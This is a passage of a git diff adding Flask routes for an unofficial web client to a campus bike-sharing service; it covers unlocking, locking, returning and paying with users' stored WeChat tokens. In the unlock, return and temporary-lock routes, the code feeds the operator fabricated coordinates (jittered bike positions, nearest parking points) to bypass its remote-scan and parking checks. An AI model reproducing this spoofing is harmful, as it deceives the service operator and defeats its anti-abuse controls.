asyncio.set_event_loop(loop) + connector = aiohttp.TCPConnector(limit=20, limit_per_host=20, loop=loop) + try: + async def run_session(): + semaphore = asyncio.Semaphore(20) + async with aiohttp.ClientSession(connector=connector) as session: + async def ring_one(idx, code): + async with semaphore: + if task["cancelled"]: + return False + result = await ring_single_bike_async(session, code, 10) + with _ring_lock: + task["done"] += 1 + if result: + task["success"] += 1 + else: + task["failed"] += 1 + task["last_update"] = time.time() + return result + batch_size = 20 + for i in range(0, len(bikes), batch_size): + if task["cancelled"]: + break + batch = bikes[i:i + batch_size] + await asyncio.gather( + *[ring_one(i + j, b["code"]) for j, b in enumerate(batch)], + return_exceptions=True + ) + await asyncio.sleep(0.1) + loop.run_until_complete(run_session()) + finally: + with _ring_lock: + task["status"] = "completed" if not task["cancelled"] else "cancelled" + task["done"] = total + loop.close() + + +@bp.route("/api/ring_all", methods=["POST"]) +def api_ring_all(): + global ring_tasks + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + if user["email"] not in BATCH_RING_ALLOWED_EMAILS: + return jsonify({"rtn_code": 403, "message": "批量寻铃仅对指定用户开放"}) + data = request.get_json() or {} + codes = data.get("codes", []) + if isinstance(codes, str): + codes = [codes] + if not codes: + return jsonify({"rtn_code": 400, "message": "缺少 codes 参数"}) + user_name = get_user_display_name(user["id"]) + print(f"[操作日志] 寻车铃: codes={codes}, count={len(codes)}, user={user_name}") + task_id = str(uuid.uuid4())[:8] + task = { + "status": "running", "total": len(codes), "done": 0, + "success": 0, "failed": 0, "bikes": [{"code": c} for c in codes], + "cancelled": False, "created_at": time.time(), "last_update": time.time(), + } + with _ring_lock: + ring_tasks[task_id] = task + t = threading.Thread(target=run_ring_task, args=(task_id,), daemon=True) + t.start() + return jsonify({"rtn_code": 0, "task_id": task_id, "total": len(codes), + "message": f"任务已启动,共 {len(codes)} 辆车"}) + + +@bp.route("/api/ring_status/") +def api_ring_status(task_id): + with _ring_lock: + task = ring_tasks.get(task_id) + if not task: + return jsonify({"rtn_code": 404, "message": "任务不存在"}) + return jsonify({"rtn_code": 0, "status": task["status"], "total": task["total"], + "done": task["done"], "success": task["success"], "failed": task["failed"]}) + + +@bp.route("/api/ring_cancel/", methods=["POST"]) +def api_ring_cancel(task_id): + with _ring_lock: + task = ring_tasks.get(task_id) + if not task: + return jsonify({"rtn_code": 404, "message": "任务不存在"}) + if task["status"] != "running": + return jsonify({"rtn_code": 400, "message": f"任务已是 {task['status']} 状态"}) + task["cancelled"] = True + task["status"] = "cancelling" + return jsonify({"rtn_code": 0, "message": "取消请求已发送"}) + + +@bp.route("/api/ring_progress/") +def api_ring_progress(task_id): + from flask import Response as FlaskResponse + global ring_tasks + def _sse(obj): + return f"data: {json.dumps(obj, ensure_ascii=False)}\n\n" + def generate(): + last_done = -1 + last_status = None + tick = 0 + while True: + with _ring_lock: + task = ring_tasks.get(task_id) + if not task: + # 任务不存在(如服务重启/多进程不共享)——向前端发明确错误而非静默断开 + yield _sse({"type": "error", "message": "任务不存在或已结束"}) + return + done = task["done"] + status = task["status"] + if done != last_done or status != last_status: + last_done = done + last_status = status + yield _sse({ + "type": "progress", + "status": status, + "done": done, + "total": task["total"], + "success": task["success"], + "failed": task["failed"], + }) + if status in ("completed", "cancelled"): + # 已结束,补发一条 done 事件后关闭 + yield _sse({"type": "done", "status": status}) + return + tick += 1 + if tick >= 20: # 约 10s 一次心跳,避免代理/连接超时被判定为断开 + tick = 0 + yield ": ping\n\n" + time.sleep(0.5) + return FlaskResponse( + generate(), + mimetype="text/event-stream", + headers={ + "Cache-Control": "no-cache", + "Connection": "keep-alive", + "X-Accel-Buffering": "no", + }, + ) + + +@bp.route("/api/ring_status_clear/", methods=["POST"]) +def api_ring_status_clear(task_id): + with _ring_lock: + ring_tasks.pop(task_id, None) + return jsonify({"rtn_code": 0, "message": "已清除"}) + + +@bp.route("/api/map") +def api_map(): + # 非登录人员不能使用:地图数据需登录后查看 + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录后使用"}), 401 + bike_type = request.args.get("type", "1").strip() + from map_cache import MAP_TYPES + if bike_type not in MAP_TYPES: + return jsonify({"rtn_code": 400, "message": "不支持的车辆类型"}), 400 + result = request_api("GET", "/project/map", params={"type": bike_type}) + # 上游错误文案统一翻译(成功响应原样透传) + if result.get("rtn_code") not in (None, 0): + from wechat import friendly_upstream_message + result = {**result, + "message": friendly_upstream_message(result.get("message", ""))} + response = jsonify(result) + # Only the server snapshot is cached; browsers must ask the server on refresh. + response.headers["Cache-Control"] = "private, no-store" + response.headers["Vary"] = "Authorization" + response.headers["X-Map-Server-Time"] = str(time.time()) + return response + + +@bp.route("/api/bicycle", methods=["GET", "POST"]) +def api_bicycle(): + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录后使用"}), 401 + data = request.get_json() or {} + code = data.get("code", "") + if not code: + return jsonify({"rtn_code": 400, "message": "缺少 code 参数"}) + user_name = get_user_display_name(user["id"]) + print(f"[操作日志] 扫车牌号查询: code={code}, user={user_name}") + result = request_api("POST", "/project/bicycle", data={"code": code}) + if result.get("rtn_code") not in (None, 0): + from wechat import friendly_upstream_message + result = {**result, + "message": friendly_upstream_message(result.get("message", ""))} + return jsonify(result) + + +@bp.route("/api/find_bike", methods=["POST"]) +def api_find_bike(): + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录后使用"}), 401 + data = request.get_json() or {} + keyword = (data.get("keyword") or data.get("code") or "").strip() + if not keyword: + return jsonify({"rtn_code": 400, "message": "缺少关键字"}) + school_id = data.get("school_id", 10) + result = request_api("POST", "/project/search_bicycle", data={"code": keyword, "school_id": school_id}) + if result.get("rtn_code") not in (None, 0): + from wechat import friendly_upstream_message + result = {**result, + "message": friendly_upstream_message(result.get("message", ""))} + return jsonify(result) + + +@bp.route("/api/config") +def api_config(): + return jsonify({ + "center_lat": 36.531820, "center_lng": 116.780180, + "scale": 17, "school_name": "山东管理学院", + "type_names": {"1": "单车", "3": "电动车", "6": "助力车"}, + }) + + +# ========== 校园地点(订阅下拉 / 地点解析标签) ========== +@bp.route("/api/map/freshness") +def api_map_freshness(): + """优先返回共享地图快照的真实时间,未加载地图时兼容历史采集时间。 + + 只读取缓存元数据,不会为了查询时间额外请求上游。 + """ + from map_cache import shared_map_cache + snapshot = shared_map_cache.freshness(request.args.get("type", "3")) + if snapshot is not None: + response = jsonify({"rtn_code": 0, "data": snapshot}) + response.headers["Cache-Control"] = "no-store" + return response + conn = get_db() + row = conn.execute( + "SELECT MAX(recorded_at) AS latest FROM bike_history").fetchone() + conn.close() + latest = row["latest"] if row else None + if not latest: + return jsonify({"rtn_code": 0, "data": { + "latest": None, "stale_seconds": None, "interval_hint": "暂无采集数据"}}) + + import datetime as dt + import sqlite3 + # recorded_at 存的是北京时间字符串;SQLite datetime('now','+8 hours') 与之同源 + try: + naive = dt.datetime.strptime(str(latest), "%Y-%m-%d %H:%M:%S") + latest_dt = naive.replace(tzinfo=dt.timezone(dt.timedelta(hours=8))) + now = dt.datetime.now(latest_dt.tzinfo) + stale = max(0, int((now - latest_dt).total_seconds())) + except (ValueError, TypeError): + return jsonify({"rtn_code": 0, "data": { + "latest": str(latest), "stale_seconds": None, + "interval_hint": "时间格式异常"}}) + + hint = "白天 5-10 分钟 / 夜间 30-60 分钟" + return jsonify({"rtn_code": 0, "data": { + "latest": str(latest), "stale_seconds": stale, "interval_hint": hint}}) + + +@bp.route("/api/campus/locations") +def campus_locations(): + """校园地点(单点模型)。 + + - kind='poi'(楼/兴趣点):用于骑行起终点「最近归属」; + - kind='parking'(停车点):用于订阅提醒「附近有没有车」,带统计半径。 + + 返回坐标为 GCJ02;bd09 字段是换算后的百度坐标,前端直接用它画在百度地图上。 + """ + from campus import DEFAULT_PARKING_RADIUS_M, gcj02_to_bd09, load_locations + result = [] + for loc in load_locations(): + item = { + "id": loc["id"], + "name": loc["name"], + "kind": loc.get("kind") or "poi", + "latitude": loc.get("latitude"), + "longitude": loc.get("longitude"), + "radius": loc.get("radius") or ( + DEFAULT_PARKING_RADIUS_M if (loc.get("kind") == "parking") else None), + "bd09": None, + } + if loc.get("latitude") is not None and loc.get("longitude") is not None: + bd = gcj02_to_bd09(loc["longitude"], loc["latitude"]) + item["bd09"] = {"lat": bd[1], "lng": bd[0]} + result.append(item) + return jsonify({"rtn_code": 0, "data": result}) + + +# ========== 用户信息 API ========== +@bp.route("/api/user/info") +def api_user_info(): + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + from wechat import request_with_user_auth + token_id, access_token = get_user_auth(user["id"]) + if not token_id: + return jsonify({"rtn_code": 0, "has_auth": False, "message": "未配置微信凭据"}) + + result = request_with_user_auth(user["id"], "GET", "/user/info") + if result.get("rtn_code") != 0: + return jsonify({"rtn_code": result.get("rtn_code", 500), "has_auth": True, "message": result.get("message", "获取失败")}) + + data = result.get("data", {}) + non_deal = data.get("nonDealOrder") + true_name = "" + account = data.get("account", {}) + if isinstance(account, str): + try: + account = json.loads(account) + except Exception: + account = {} + true_name = account.get("trueName", "") if isinstance(account, dict) else "" + + out_money = data.get("bus_account", {}).get("outMoneyBus", 0) + save_money = data.get("bus_account", {}).get("saveMoneyBus", 0) + + return jsonify({ + "rtn_code": 0, "has_auth": True, + "data": { + "true_name": true_name, "out_money": out_money, + "save_money": save_money, "has_auth": True, + "nonDealOrder": non_deal, + } + }) + + +# ========== 首页路由 ========== +MAP_ASSETS = ( + "css/map.css", "css/bike-clusters.css", "css/map-settings.css", "css/ui-system.css", + "js/ui-motion.js", "js/qrcode.min.js", "js/coordtransform.js", "js/bike-clusters.js", + "js/settings-pages.js", "js/map.js", +) + + +def _map_asset_version(): + """Version the complete map bundle so deployments cannot reuse old dependencies.""" + digest = hashlib.sha256() + for filename in MAP_ASSETS: + digest.update(filename.encode()) + try: + digest.update((Path(current_app.static_folder) / filename).read_bytes()) + except FileNotFoundError: + digest.update(b"missing") + return digest.hexdigest()[:16] + + +@bp.route("/") +def index(): + response = current_app.make_response(render_template("map.html", map_asset_version=_map_asset_version())) + response.headers["Cache-Control"] = "no-cache" + return response + + +@bp.route("/analysis.html") +def analysis_page(): + return render_template("analysis.html") + + +@bp.route("/ring_progress.html") +def ring_progress(): + return render_template("ring_progress.html") diff --git a/routes/rental.py b/routes/rental.py new file mode 100644 index 0000000..60e2446 --- /dev/null +++ b/routes/rental.py @@ -0,0 +1,1493 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""租赁/订单路由 — 照搬 app.py.bak 原始逻辑""" +import json +import math +import random +import datetime as dt +import threading +import time +from functools import wraps +from flask import Blueprint, jsonify, request, render_template, make_response + +from db import get_db, get_user_auth, get_user_display_name, get_user_rental_settings +from routes.auth import get_current_user +from wechat import request_api, request_with_user_auth +from timer import (start_rental_timer, _cancel_rental_timers, _get_remaining_seconds, + _check_user_order, auto_return_bike) +from rental_mail import get_rental_mail_context, resolve_return_token + +bp = Blueprint("rental", __name__) + +_email_return_locks = {} +_email_return_locks_guard = threading.Lock() +_order_return_locks = {} +_order_return_locks_guard = threading.Lock() + + +def _email_return_lock(rental_id: int): + with _email_return_locks_guard: + return _email_return_locks.setdefault(rental_id, threading.Lock()) + + +def _serialize_order_return(func): + """同一订单的重复还车请求串行执行,避免重复调用上游锁车接口。""" + @wraps(func) + def wrapped(*args, **kwargs): + data = request.get_json(silent=True) or {} + key = str(data.get("order_id") or "missing") + with _order_return_locks_guard: + lock = _order_return_locks.setdefault(key, threading.Lock()) + with lock: + return func(*args, **kwargs) + return wrapped + + +def _upstream_order_finished(user_id: int, order_id) -> bool: + """还车响应不明确时,确认指定订单是否已经不再骑行。""" + result = request_with_user_auth(user_id, "GET", "/user/info", _silent=True) + if result.get("rtn_code") != 0: + return False + non_deal = (result.get("data") or {}).get("nonDealOrder") + if not non_deal or not non_deal.get("order_id"): + return True + if str(non_deal.get("order_id")) != str(order_id): + return True + return str(non_deal.get("status")) != "2" + + +def _return_page(**context): + response = make_response(render_template("email_return.html", **context)) + response.headers["Cache-Control"] = "no-store, max-age=0" + response.headers["Pragma"] = "no-cache" + response.headers["Referrer-Policy"] = "no-referrer" + response.headers["X-Frame-Options"] = "DENY" + return response + + +# ========== 工具函数 ========== + +def _try_card_pay_auto(user_id: int, order_id: str, code: str) -> dict: + """ + 自动尝试用月卡/周卡支付订单(从 app.py.bak 原样复制) + 返回: {"success": True/False, "message": "xxx"} + """ + methods_result = request_with_user_auth( + user_id, "GET", "/pay/methods", + params={"code": code} + ) + if methods_result.get("rtn_code") != 0: + return {"success": False, "message": "查询支付方式失败"} + + data = methods_result.get("data", {}) + methods = data if isinstance(data, list) else data.get("payMethods", data.get("methods", [])) + card_methods = [m for m in methods if str(m.get("type")) in ("3", "4")] + + if not card_methods: + return {"success": False, "message": "没有可用的月卡/周卡"} + + preferred = card_methods[0] + for m in card_methods: + if m.get("get_type") == 2: + preferred = m + break + + pay_type = str(preferred.get("type", "3")) + package_id = str(preferred.get("package_id", "")) + if not package_id: + return {"success": False, "message": "卡包ID为空"} + + card_name = "月卡" if pay_type == "3" else "周卡" + print(f"[_try_card_pay_auto] 使用{card_name}支付: order_id={order_id}, code={code}, package_id={package_id}") + + pay_result = request_with_user_auth( + user_id, "POST", "/pay/submit", + data={"platform": "1", "order_id": order_id, "code": code, + "type": pay_type, "package_id": package_id} + ) + + # 解析 /pay/submit 返回的支付状态:data 可能是 dict / 列表 / 空列表 / None, + # 需全部兜底,避免空列表 [0] 越界抛异常(否则还车成功但自动支付崩→整请求500被前端判失败)。 + _pd = pay_result.get("data") + if isinstance(_pd, list): + pay_status = str(_pd[0].get("status", "")) if _pd and isinstance(_pd[0], dict) else "" + elif isinstance(_pd, dict): + pay_status = str(_pd.get("status", "")) + else: + pay_status = "" + if pay_status == "0": + return {"success": True, "message": f"{card_name}支付成功"} + elif pay_status == "1": + return {"success": False, "message": f"{card_name}余额不足,需要微信支付"} + else: + return {"success": False, "message": pay_result.get("message", "支付失败")} + + +def get_nearest_park_point(lat: float, lng: float) -> dict: + """获取最近的停车点坐标(从 app.py.bak 原样复制)""" + result = request_api("GET", "/project/map", params={"type": "1"}) + if result.get("rtn_code") != 0 or not result.get("data"): + return None + bike_stations = result["data"].get("bicycleStation", []) + if not bike_stations: + return None + nearest = None + min_dist = float('inf') + for station in bike_stations: + station_lat = station.get("latitude") or station.get("lat") + station_lng = station.get("longitude") or station.get("lng") + if not station_lat or not station_lng: + continue + dist = math.sqrt((station_lat - lat) ** 2 + (station_lng - lng) ** 2) + if dist < min_dist: + min_dist = dist + nearest = {"latitude": station_lat, "longitude": station_lng} + return nearest + + +def _near_coord(lat, lng, jitter=0.0001): + """车辆坐标附近加随机抖动,模拟真实定位。返回 (lat, lng)""" + try: + lat = float(lat) + lng = float(lng) + except (TypeError, ValueError): + lat, lng = 36.67, 116.98 + return lat + random.uniform(-jitter, jitter), lng + random.uniform(-jitter, jitter) + + +def _fetch_live_bike_coord(user_id: int, code: str, btype=None): + """实时从 /project/map 抓取该车当前坐标(地图坐标空间,与网页一致)。 + 车会被骑走导致位置变化,故必须实时抓,而非用 /project/bicycle 的静止坐标。 + 返回 (latitude, longitude) 或 None""" + types = [] + if btype: + types.append(str(btype)) + for t in ["1", "3", "6"]: + if t not in types: + types.append(t) + for t in types: + try: + res = request_with_user_auth(user_id, "GET", "/project/map", + params={"type": t}, _silent=True) + except Exception: + continue + if res.get("rtn_code") != 0: + continue + stations = ((res.get("data") or {}).get("bicycleStation")) or [] + for st in stations: + if str(st.get("code")) == str(code) and st.get("latitude") and st.get("longitude"): + return st["latitude"], st["longitude"] + return None + + +def _resolve_order_location(user_id: int, code: str, latitude, longitude): + """按还车的同一套规则校验并解析订单操作位置。 + + 临时锁车也需要把当前位置同步给车辆服务,因此不能复用一键开锁时 + 的车辆坐标或随机坐标。停车点校验失败时,沿用还车逻辑切到最近停车点。 + """ + check_result = request_with_user_auth( + user_id, "POST", "/record/checkLocation", + data={"longitude": longitude, "latitude": latitude, "bicycleCode": code} + ) + + use_nearest = False + if check_result.get("rtn_code") != 0 or check_result.get("parkNoShow") is True: + nearest = get_nearest_park_point(latitude, longitude) + if nearest: + latitude = nearest.get("latitude") or nearest.get("lat") + longitude = nearest.get("longitude") or nearest.get("lng") + use_nearest = True + + return latitude, longitude, use_nearest + + +def _location_label(latitude, longitude): + """GCJ02 坐标 -> 「博学楼附近」标签(未配置校园地点时返回 None)。""" + try: + from campus import resolve_location_label + return resolve_location_label(latitude, longitude) + except Exception as e: + print(f"[地点解析] 失败: {e}") + return None + + +def _set_rental_start(conn, rental_id, latitude, longitude): + """在给定连接上回填订单起点坐标与位置标签(GCJ02,与上游接口同一坐标系)。 + 旧库/极简 schema 缺列时自动补列重试一次。""" + try: + lat = float(latitude) + lng = float(longitude) + except (TypeError, ValueError): + return + label = _location_label(lat, lng) + sql = """ + UPDATE rentals SET start_latitude = ?, start_longitude = ?, start_label = ? + WHERE id = ? + """ + params = (lat, lng, label, rental_id) + try: + conn.execute(sql, params) + except Exception as e: + if "no such column" not in str(e).lower(): + raise + for col_def in [("start_latitude", "REAL"), ("start_longitude", "REAL"), + ("start_label", "TEXT")]: + try: + conn.execute(f"ALTER TABLE rentals ADD COLUMN {col_def[0]} {col_def[1]}") + except Exception: + pass + conn.execute(sql, params) + + +def _record_rental_start(rental_id: int, latitude, longitude): + """回填订单起点坐标与位置标签。""" + conn = get_db() + try: + _set_rental_start(conn, rental_id, latitude, longitude) + conn.commit() + finally: + conn.close() + + +def _set_rental_finished(conn, where_sql, where_params, latitude, longitude): + """在给定连接上结束订单并回填终点(供本模块与 share 模块复用, + 连接由调用方提供 —— 各蓝图各自管理事务/测试替身)。 + + 旧库/极简 schema 缺列时自动补列重试一次。 + """ + end_lat = None + end_lng = None + try: + end_lat, end_lng = float(latitude), float(longitude) + except (TypeError, ValueError): + pass + label = _location_label(end_lat, end_lng) if end_lat is not None else None + tz = dt.timezone(dt.timedelta(hours=8)) + now_str = dt.datetime.now(tz).strftime("%Y-%m-%d %H:%M:%S") + sql = f""" + UPDATE rentals SET expired = 1, returned_at = ?, + end_latitude = ?, end_longitude = ?, end_label = ? + {where_sql} + """ + params = (now_str, end_lat, end_lng, label, *where_params) + try: + conn.execute(sql, params) + except Exception as e: + if "no such column" not in str(e).lower(): + raise + # 轻量兜底:缺列补齐后重试 + for col_def in [("returned_at", "TIMESTAMP"), ("end_latitude", "REAL"), + ("end_longitude", "REAL"), ("end_label", "TEXT")]: + try: + conn.execute(f"ALTER TABLE rentals ADD COLUMN {col_def[0]} {col_def[1]}") + except Exception: + pass + conn.execute(sql, params) + + +def _record_rental_end(order_id: str, user_id: int, latitude, longitude): + """标记订单结束:实际还车时间 + 终点坐标与位置标签。""" + conn = get_db() + try: + _set_rental_finished(conn, "WHERE order_id = ? AND user_id = ? AND expired = 0", + (str(order_id), user_id), latitude, longitude) + conn.commit() + finally: + conn.close() + + +# ========== 订单路由(原样复制自 app.py.bak) ========== + +@bp.route("/api/order/unlock", methods=["POST"]) +def order_unlock(): + """一键开锁(使用用户凭据)。 + 说明:下单坐标以 /project/bicycle 返回的车辆真实坐标为准并加随机抖动, + 不采用客户端(网页/App)上报的 GPS,避免真实GPS与车辆坐标相差数百米被判“远程扫码”。 + """ + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + code = data.get("code", "") + + if not code: + return jsonify({"rtn_code": 400, "message": "缺少车辆编码"}) + + # 扫码、下单、开锁三连统一使用同一用户 token(与小程序一致,避免后端判定"远程扫码") + bike_result = request_with_user_auth( + user["id"], "POST", "/project/bicycle", data={"code": code} + ) + if bike_result.get("rtn_code") != 0: + return jsonify({"rtn_code": bike_result.get("rtn_code", 500), + "message": bike_result.get("message", "获取车辆信息失败")}) + + # 用实时地图坐标(+抖动)作为下单起点:优先 /project/map 抓该车当前坐标(车会被骑走、位置会变), + # 取不到再退回 /project/bicycle 的坐标。绕开"坐标空间/位置已变"导致的远程拦截。 + bike_data = bike_result.get("data") or {} + live = _fetch_live_bike_coord(user["id"], code, bike_data.get("type")) + if live: + latitude, longitude = _near_coord(live[0], live[1]) + else: + latitude, longitude = _near_coord( + bike_data.get("latitude", 36.67), bike_data.get("longitude", 116.98) + ) + + user_name = get_user_display_name(user["id"]) + print(f"[操作日志] 一键开锁: code={code}, 使用实时地图坐标 lat={latitude:.6f}, lng={longitude:.6f}, user={user_name}") + + order_result = request_with_user_auth( + user["id"], "POST", "/record/order", + data={"code": code, "start_longitude": longitude, "start_latitude": latitude} + ) + + if order_result.get("rtn_code") != 0 or not order_result.get("data", {}).get("order_id"): + order_msg = order_result.get("message", "创建订单失败") + if order_result.get("rtn_code") == 102001 or "token" in order_msg.lower(): + return jsonify({"rtn_code": 102001, "message": "Token失效,微信凭据已过期,请在个人中心重新配置"}) + if "未支付" in order_msg or "待支付" in order_msg or "non" in order_msg.lower(): + print(f"[开锁] 检测到未支付订单,尝试自动月卡支付: code={code}") + info_result = request_with_user_auth(user["id"], "GET", "/user/info") + non_deal = info_result.get("data", {}).get("nonDealOrder") + if non_deal and non_deal.get("order_id"): + unpaid_order_id = non_deal["order_id"] + unpaid_code = non_deal.get("code", code) + pay_result = _try_card_pay_auto(user["id"], unpaid_order_id, unpaid_code) + if pay_result["success"]: + print(f"[开锁] 月卡支付成功,重新创建订单: {pay_result['message']}") + order_result = request_with_user_auth( + user["id"], "POST", "/record/order", + data={"code": code, "start_longitude": longitude, "start_latitude": latitude} + ) + else: + return jsonify({"rtn_code": 400, + "message": f"未支付订单处理失败: {pay_result['message']}", + "need_pay": True, "unpaid_order_id": unpaid_order_id, + "unpaid_code": unpaid_code}) + + if order_result.get("rtn_code") != 0 or not order_result.get("data", {}).get("order_id"): + from wechat import friendly_upstream_message + final_msg = friendly_upstream_message(order_result.get("message", ""), + fallback="创建订单失败,请稍后重试") + if order_result.get("rtn_code") == 102001 or "token" in str(order_result.get("message", "")).lower(): + final_msg = "Token失效,微信凭据已过期,请在个人中心重新配置" + return jsonify({"rtn_code": order_result.get("rtn_code", 500), + "message": final_msg}) + + order_id = order_result["data"]["order_id"] + + open_result = request_with_user_auth( + user["id"], "POST", "/record/qrOrder", + data={"order_id": order_id} + ) + + if open_result.get("rtn_code") == 0: + tz = dt.timezone(dt.timedelta(hours=8)) + now_beijing = dt.datetime.now(tz) + duration = get_user_rental_settings(user["id"])["rental_duration_minutes"] + end_time = now_beijing + dt.timedelta(minutes=duration) + conn = get_db() + cursor = conn.cursor() + cursor.execute(""" + INSERT INTO rentals (id, order_id, bike_code, email, user_id, start_time, end_time, + duration, expired, source) + VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0, 'unlock') + """, (int(order_id), order_id, code, user["email"], user["id"], + now_beijing.strftime("%Y-%m-%d %H:%M:%S"), + end_time.strftime("%Y-%m-%d %H:%M:%S"), duration)) + conn.commit() + conn.close() + + start_rental_timer(rental_id=int(order_id), email=user["email"], + bike_code=code, duration_minutes=duration, user_id=user["id"]) + _record_rental_start(int(order_id), latitude, longitude) + # 带上轮次预估:前端租车条要显示「共N轮 · 预计HH:MM还车」 + row = get_db().execute( + "SELECT renewal_round, rounds_override, end_time FROM rentals WHERE id = ?", + (int(order_id),)).fetchone() + summary = _rounds_summary( + dict(row) if row else {"order_id": str(order_id), + "end_time": end_time.strftime("%Y-%m-%d %H:%M:%S")}, + user["id"]) + return jsonify({"rtn_code": 0, "message": "开锁成功", "order_id": order_id, + "data": {**summary, "remaining": duration * 60}}) + else: + from wechat import friendly_upstream_message + raw_open_msg = open_result.get("message", "") + if open_result.get("rtn_code") == 102001 or "token" in raw_open_msg.lower(): + return jsonify({"rtn_code": 102001, "message": "Token失效,微信凭据已过期,请在个人中心重新配置"}) + return jsonify({"rtn_code": open_result.get("rtn_code", 500), + "message": friendly_upstream_message(raw_open_msg, fallback="开锁失败,请稍后重试"), + "order_id": order_id}) + + +@bp.route("/api/order/temp_unlock", methods=["POST"]) +def order_temp_unlock(): + """进行中电动车订单临时开锁(不创建新订单、不改变订单状态)。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + order_id = data.get("order_id") + if not order_id: + return jsonify({"rtn_code": 400, "message": "缺少订单ID"}) + + result = request_with_user_auth( + user["id"], "POST", "/record/open", data={"order_id": order_id} + ) + if result.get("rtn_code") == 0: + return jsonify({"rtn_code": 0, "message": result.get("message", "临时开锁成功"), + "data": result.get("data")}) + return jsonify({"rtn_code": result.get("rtn_code", 500), + "message": result.get("message", "临时开锁失败"), + "data": result.get("data")}) + + +@bp.route("/api/order/temp_lock", methods=["POST"]) +def order_temp_lock(): + """进行中电动车订单临时锁车,并按还车逻辑上报当前位置。""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + order_id = data.get("order_id") + code = str(data.get("code") or "").strip() + latitude = data.get("latitude") + longitude = data.get("longitude") + + if not order_id: + return jsonify({"rtn_code": 400, "message": "缺少订单ID"}) + if not code: + return jsonify({"rtn_code": 400, "message": "缺少车辆编码"}) + if latitude is None or longitude is None: + return jsonify({"rtn_code": 400, "message": "缺少位置信息"}) + + try: + latitude = float(latitude) + longitude = float(longitude) + if not math.isfinite(latitude) or not math.isfinite(longitude): + raise ValueError + except (TypeError, ValueError): + return jsonify({"rtn_code": 400, "message": "位置信息无效"}) + + user_name = get_user_display_name(user["id"]) + print(f"[操作日志] 临时锁车: order_id={order_id}, code={code}, " + f"lat={latitude}, lng={longitude}, user={user_name}") + + latitude, longitude, use_nearest = _resolve_order_location( + user["id"], code, latitude, longitude + ) + + # 原电动车端的临时锁车顺序:先上报中控位置,再执行 record/close。 + coordinate_result = request_with_user_auth( + user["id"], "POST", "/project/coordinate", + data={"order_id": order_id, "code": code} + ) + coordinate_ok = coordinate_result.get("success") + if coordinate_ok is None: + coordinate_ok = coordinate_result.get("rtn_code") == 0 + if not coordinate_ok: + return jsonify({"rtn_code": coordinate_result.get("rtn_code", 500), + "message": coordinate_result.get("message", "中控定位失败,请重试"), + "used_nearest": use_nearest}) + + lock_result = request_with_user_auth( + user["id"], "POST", "/record/close", + data={"order_id": order_id, "end_longitude": longitude, + "end_latitude": latitude} + ) + if lock_result.get("rtn_code") == 0: + return jsonify({"rtn_code": 0, + "message": lock_result.get("message", "临时锁车成功"), + "data": lock_result.get("data"), + "used_nearest": use_nearest}) + return jsonify({"rtn_code": lock_result.get("rtn_code", 500), + "message": lock_result.get("message", "临时锁车失败"), + "data": lock_result.get("data"), + "used_nearest": use_nearest}) + + +@bp.route("/api/order/return", methods=["POST"]) +@_serialize_order_return +def order_return(): + """还车(使用用户凭据,自动处理位置)""" + user = get_current_user() + if not user: + return jsonify({"rtn_code": 401, "message": "请先登录"}) + + data = request.get_json() or {} + order_id = data.get("order_id") + latitude = data.get("latitude") + longitude = data.get("longitude") + + if not order_id: + return jsonify({"rtn_code": 400, "message": "缺少订单ID"}) + if not latitude or not longitude: + return jsonify({"rtn_code": 400, "message": "缺少位置信息"}) + + conn = get_db() + finished = conn.execute(""" + SELECT 1 FROM rentals + WHERE order_id = ? AND user_id = ? AND expired = 1 + LIMIT 1 + """, (str(order_id), user["id"])).fetchone() + conn.close() + if finished: + return jsonify({"rtn_code": 0, "message": "订单已结束,无需重复还车"}) + + user_name = get_user_display_name(user["id"]) + print(f"[操作日志] 手动还车: order_id={order_id}, code={data.get('code','')}, lat={latitude}, lng={longitude}, user={user_name}") + + latitude, longitude, use_nearest = _resolve_order_location( + user["id"], data.get("code", ""), latitude, longitude + ) + + return_result = request_with_user_auth( + user["id"], "POST", "/record/return", + data={"order_id": order_id, "longitude": longitude, "latitude": latitude} + ) + + confirmed_by_status = False + if return_result.get("rtn_code") != 0: + for attempt in range(4): + if attempt: + time.sleep(1) + if _upstream_order_finished(user["id"], order_id): + confirmed_by_status = True + break + + if return_result.get("rtn_code") == 0 or confirmed_by_status: + conn = get_db() + cursor = conn.cursor() + # unlock 记录的 id 通常等于 order_id,但 sync 记录使用自增 id。 + # 必须按 order_id 查找真实 rental_id,否则网页还车后邮件计时器也会残留。 + cursor.execute(""" + SELECT id FROM rentals + WHERE order_id = ? AND user_id = ? AND expired = 0 + """, (str(order_id), user["id"])) + rental_ids = [row["id"] for row in cursor.fetchall()] + conn.close() + # 统一回填:expired=1 + 实际还车时间 + 终点坐标/位置标签 + _record_rental_end(order_id, user["id"], latitude, longitude) + for rental_id in rental_ids: + _cancel_rental_timers(rental_id) + _user_info_cache.pop(user["id"], None) + + # 还车已成功。自动尝试月卡/周卡支付仅作为附加操作,任何异常都不应让已成功的还车被前端判为失败。 + pay_result = {} + try: + pay_result = _try_card_pay_auto(user["id"], str(order_id), data.get("code", "")) or {} + except Exception as e: + print(f"[order_return] 自动卡支付异常(不影响还车结果): {e}") + pay_result = {} + pay_msg = pay_result.get("message", "") + pay_success = bool(pay_result.get("success")) + + success_message = "还车成功" + if confirmed_by_status: + success_message += "(已通过订单状态确认)" + return jsonify({"rtn_code": 0, + "message": success_message + (f",{pay_msg}" if pay_success else ""), + "used_nearest": use_nearest, "card_pay": pay_result}) + else: + return jsonify({"rtn_code": return_result.get("rtn_code", 500), + "message": return_result.get("message", "还车失败")}) + + +# /user/info 结果的短缓存:前端每 20s 轮询订单状态, +# 不必每次都打上游。缓存 60s,订单变化最多延迟一分钟可见。 +_user_info_cache: dict = {} +_USER_INFO_TTL = 60 + + +def _get_user_info_cached(user_id: int) -> dict: + import time as _t + hit = _user_info_cache.get(user_id) + now = _t.time() + if hit and now - 